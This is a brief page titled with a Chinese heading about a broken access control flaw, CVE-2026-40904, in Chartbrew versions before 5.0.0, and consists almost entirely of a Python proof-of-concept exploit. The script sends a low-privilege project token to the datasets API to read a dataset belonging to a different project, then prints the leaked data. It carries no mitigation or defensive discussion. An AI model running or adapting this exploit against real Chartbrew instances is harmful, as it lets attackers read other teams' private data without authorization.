CVE-2026-40904 Chartbrew 越权访问漏洞

import requests # CVE-2026-40904 PoC Concept for Chartbrew < 5.0.0 # Attacker has access to Project A but targets Project B resources. target_url = "http://target-chartbrew-instance/api/datasets" attacker_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." # Low-privilege token for Project A victim_dataset_id = "target_dataset_id_in_project_b" # ID belonging to another project headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # Attempt to read a dataset from another project using the attacker's token # Vulnerability allows this because authorization checks only Team membership, not Project ownership response = requests.get(f"{target_url}/{victim_dataset_id}", headers=headers) if response.status_code == 200: print(f"[+] Exploit Successful! Leaked data: {response.json()}") else: print(f"[-] Exploit Failed. Status Code: {response.status_code}")